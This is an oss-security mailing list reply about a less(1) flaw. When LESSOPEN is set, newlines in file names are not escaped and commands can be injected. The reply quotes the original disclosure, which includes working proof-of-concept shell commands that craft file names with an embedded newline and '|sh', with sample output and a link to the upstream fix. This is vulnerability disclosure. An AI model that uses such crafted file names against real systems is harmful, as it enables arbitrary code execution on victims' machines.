[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <87frvqvjky.fsf@gentoo.org>
Date: Fri, 12 Apr 2024 13:42:05 +0100
From: Sam James <sam@...too.org>
To: oss-security@...ts.openwall.com
Subject: Re: less(1) with LESSOPEN mishandles \n in paths
Jakub Wilk <jwilk@...lk.net> writes:
> less(1) does not correctly escape newlines in pathnames when
> constructing command line of the input preprocessor. If a user ran
> less(1) on files with untrusted names, this could result in execution
> of arbitrary code.
>
> The input preprocessor is enabled by the LESSOPEN environment variable.
> But if you didn't set it, don't worry, because zless(1) (or xzless(1),
> or zstdless(1)) sets it for you:
>
> $ echo 'cowsay pwned' > './\' && touch "$(printf '\n|sh')"
> $ zless ./*
> _______
> < pwned >
> -------
> \ ^__^
> \ (oo)\_______
> (__)\ )\/\
> ||----w |
> || ||
> ./
> |sh (file 1 of 2) (END) - Next: ./\
>
> On Ubuntu systems, $LESSOPEN is set in ~/.bashrc by default, so the
> bug can be exploited even without the wrapper:
>
Unfortunately, it looks like we're the same in Gentoo.
> $ mkdir m "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" && echo 'cowsay pwned' > m/oo && chmod +x m/oo
> $ less ./*/*
> _______
> < pwned >
> -------
> \ ^__^
> \ (oo)\_______
> (__)\ )\/\
> ||----w |
> || ||
> ./
> |m/oo (file 1 of 2) (END) - Next: ./m/oo
>
>
> Upstream fix:
> https://github.com/gwsw/less/commit/007521ac3c95bc76
Thanks.
Any idea if upstream plan to backport it? It doesn't apply cleanly I
think to the last release 643 (653 is a beta) but I'll try do it now.
Download attachment "signature.asc" of type "application/pgp-signature" (378 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
